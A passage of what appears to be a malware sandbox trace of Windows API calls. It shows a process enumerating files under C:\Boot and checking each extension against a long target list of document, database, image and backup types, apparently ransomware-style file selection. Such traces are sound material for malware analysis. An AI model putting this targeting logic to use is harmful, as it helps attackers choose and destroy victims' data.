ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb7d0 [0037.013] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.013] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0037.013] lstrlenW (lpString="BCD") returned 3 [0037.013] lstrlenW (lpString=".1cd") returned 4 [0037.013] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0037.013] lstrlenW (lpString=".3ds") returned 4 [0037.013] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0037.013] lstrlenW (lpString=".3fr") returned 4 [0037.013] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0037.013] lstrlenW (lpString=".3g2") returned 4 [0037.013] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0037.013] lstrlenW (lpString=".3gp") returned 4 [0037.013] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".7z") returned 3 [0037.014] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0037.014] lstrlenW (lpString=".accda") returned 6 [0037.014] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".accdb") returned 6 [0037.014] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".accdc") returned 6 [0037.014] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".accde") returned 6 [0037.014] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".accdt") returned 6 [0037.014] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".accdw") returned 6 [0037.014] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".adb") returned 4 [0037.014] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".adp") returned 4 [0037.014] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".ai") returned 3 [0037.014] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0037.014] lstrlenW (lpString=".ai3") returned 4 [0037.014] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".ai4") returned 4 [0037.014] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".ai5") returned 4 [0037.014] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".ai6") returned 4 [0037.014] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".ai7") returned 4 [0037.014] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".ai8") returned 4 [0037.014] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".anim") returned 5 [0037.014] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".arw") returned 4 [0037.014] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0037.014] lstrlenW (lpString=".as") returned 3 [0037.015] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0037.015] lstrlenW (lpString=".asa") returned 4 [0037.015] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".asc") returned 4 [0037.015] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".ascx") returned 5 [0037.015] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".asm") returned 4 [0037.015] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".asmx") returned 5 [0037.015] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".asp") returned 4 [0037.015] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".aspx") returned 5 [0037.015] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".asr") returned 4 [0037.015] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".asx") returned 4 [0037.015] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".avi") returned 4 [0037.015] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".avs") returned 4 [0037.015] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".backup") returned 7 [0037.015] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".bak") returned 4 [0037.015] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".bay") returned 4 [0037.015] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".bd") returned 3 [0037.015] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0037.015] lstrlenW (lpString=".bin") returned 4 [0037.015] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".bmp") returned 4 [0037.015] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0037.015] lstrlenW (lpString=".bz2") returned 4 [0037.016] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".c") returned 2 [0037.016] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0037.016] lstrlenW (lpString=".cdr") returned 4 [0037.016] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cer") returned 4 [0037.016] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cf") returned 3 [0037.016] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0037.016] lstrlenW (lpString=".cfc") returned 4 [0037.016] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cfm") returned 4 [0037.016] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cfml") returned 5 [0037.016] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cfu") returned 4 [0037.016] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".chm") returned 4 [0037.016] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cin") returned 4 [0037.016] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".class") returned 6 [0037.016] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".clx") returned 4 [0037.016] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".config") returned 7 [0037.016] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cpp") returned 4 [0037.016] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cr2") returned 4 [0037.016] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".crt") returned 4 [0037.016] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".crw") returned 4 [0037.016] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0037.016] lstrlenW (lpString=".cs") returned 3 [0037.017] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0037.017] lstrlenW (lpString=".css") returned 4 [0037.017] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".csv") returned 4 [0037.017] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".cub") returned 4 [0037.017] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dae") returned 4 [0037.017] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dat") returned 4 [0037.017] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".db") returned 3 [0037.017] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0037.017] lstrlenW (lpString=".dbf") returned 4 [0037.017] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dbx") returned 4 [0037.017] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dc3") returned 4 [0037.017] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dcm") returned 4 [0037.017] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dcr") returned 4 [0037.017] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".der") returned 4 [0037.017] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dib") returned 4 [0037.017] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dic") returned 4 [0037.017] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dif") returned 4 [0037.017] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".divx") returned 5 [0037.017] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".djvu") returned 5 [0037.017] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0037.017] lstrlenW (lpString=".dng") returned 4 [0037.017] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".doc") returned 4 [0037.018] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".docm") returned 5 [0037.018] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".docx") returned 5 [0037.018] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dot") returned 4 [0037.018] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dotm") returned 5 [0037.018] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dotx") returned 5 [0037.018] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dpx") returned 4 [0037.018] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dqy") returned 4 [0037.018] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dsn") returned 4 [0037.018] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dt") returned 3 [0037.018] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0037.018] lstrlenW (lpString=".dtd") returned 4 [0037.018] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dwg") returned 4 [0037.018] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dwt") returned 4 [0037.018] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".dx") returned 3 [0037.018] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0037.018] lstrlenW (lpString=".dxf") returned 4 [0037.018] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".edml") returned 5 [0037.018] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".efd") returned 4 [0037.018] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0037.018] lstrlenW (lpString=".elf") returned 4 [0037.018] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".emf") returned 4 [0037.019] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".emz") returned 4 [0037.019] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".epf") returned 4 [0037.019] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".eps") returned 4 [0037.019] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".epsf") returned 5 [0037.019] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".epsp") returned 5 [0037.019] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".erf") returned 4 [0037.019] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".exr") returned 4 [0037.019] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".f4v") returned 4 [0037.019] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0037.019] lstrlenW (lpString=".fido") returned 5 [0037.019] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0037.019] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.040] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.043] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.044] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.046] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.048] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0037.048] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0037.049] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\da-DK") returned 1 [0037.049] lstrlenW (lpString="da-DK") returned 5 [0037.049] lstrcmpiW (lpString1="C:\\Windows", lpString2="da-DK") returned -1 [0037.051] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4e40088 [0037.051] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0037.051] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.055] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.055] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.057] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.057] lstrlenW (lpString=".1cd") returned 4 [0037.057] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.057] lstrlenW (lpString=".3ds") returned 4 [0037.057] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".3fr") returned 4 [0037.058] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".3g2") returned 4 [0037.058] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".3gp") returned 4 [0037.058] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".7z") returned 3 [0037.058] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.058] lstrlenW (lpString=".accda") returned 6 [0037.058] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0037.058] lstrlenW (lpString=".accdb") returned 6 [0037.058] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0037.058] lstrlenW (lpString=".accdc") returned 6 [0037.058] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0037.058] lstrlenW (lpString=".accde") returned 6 [0037.058] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0037.058] lstrlenW (lpString=".accdt") returned 6 [0037.058] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0037.058] lstrlenW (lpString=".accdw") returned 6 [0037.058] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0037.058] lstrlenW (lpString=".adb") returned 4 [0037.058] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".adp") returned 4 [0037.058] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".ai") returned 3 [0037.058] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0037.058] lstrlenW (lpString=".ai3") returned 4 [0037.058] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".ai4") returned 4 [0037.058] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".ai5") returned 4 [0037.058] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".ai6") returned 4 [0037.058] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0037.058] lstrlenW (lpString=".ai7") returned 4 [0037.058] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".ai8") returned 4 [0037.059] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".anim") returned 5 [0037.059] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0037.059] lstrlenW (lpString=".arw") returned 4 [0037.059] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".as") returned 3 [0037.059] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0037.059] lstrlenW (lpString=".asa") returned 4 [0037.059] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".asc") returned 4 [0037.059] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".ascx") returned 5 [0037.059] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0037.059] lstrlenW (lpString=".asm") returned 4 [0037.059] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".asmx") returned 5 [0037.059] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0037.059] lstrlenW (lpString=".asp") returned 4 [0037.059] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".aspx") returned 5 [0037.059] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0037.059] lstrlenW (lpString=".asr") returned 4 [0037.059] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".asx") returned 4 [0037.059] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".avi") returned 4 [0037.059] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".avs") returned 4 [0037.059] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".backup") returned 7 [0037.059] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0037.059] lstrlenW (lpString=".bak") returned 4 [0037.059] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0037.059] lstrlenW (lpString=".bay") returned 4 [0037.059] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".bd") returned 3 [0037.060] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0037.060] lstrlenW (lpString=".bin") returned 4 [0037.060] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".bmp") returned 4 [0037.060] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".bz2") returned 4 [0037.060] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".c") returned 2 [0037.060] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0037.060] lstrlenW (lpString=".cdr") returned 4 [0037.060] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".cer") returned 4 [0037.060] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".cf") returned 3 [0037.060] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0037.060] lstrlenW (lpString=".cfc") returned 4 [0037.060] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".cfm") returned 4 [0037.060] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".cfml") returned 5 [0037.060] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0037.060] lstrlenW (lpString=".cfu") returned 4 [0037.060] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".chm") returned 4 [0037.060] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".cin") returned 4 [0037.060] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".class") returned 6 [0037.060] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0037.060] lstrlenW (lpString=".clx") returned 4 [0037.060] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0037.060] lstrlenW (lpString=".config") returned 7 [0037.060] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0037.060] lstrlenW (lpString=".cpp") returned 4 [0037.061] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".cr2") returned 4 [0037.061] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".crt") returned 4 [0037.061] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".crw") returned 4 [0037.061] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".cs") returned 3 [0037.061] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0037.061] lstrlenW (lpString=".css") returned 4 [0037.061] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".csv") returned 4 [0037.061] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".cub") returned 4 [0037.061] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".dae") returned 4 [0037.061] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".dat") returned 4 [0037.061] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".db") returned 3 [0037.061] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0037.061] lstrlenW (lpString=".dbf") returned 4 [0037.061] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".dbx") returned 4 [0037.061] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".dc3") returned 4 [0037.061] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".dcm") returned 4 [0037.061] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".dcr") returned 4 [0037.061] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".der") returned 4 [0037.061] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".dib") returned 4 [0037.061] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0037.061] lstrlenW (lpString=".dic") returned 4 [0037.062] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".dif") returned 4 [0037.062] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".divx") returned 5 [0037.062] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0037.062] lstrlenW (lpString=".djvu") returned 5 [0037.062] lstrcmpiW 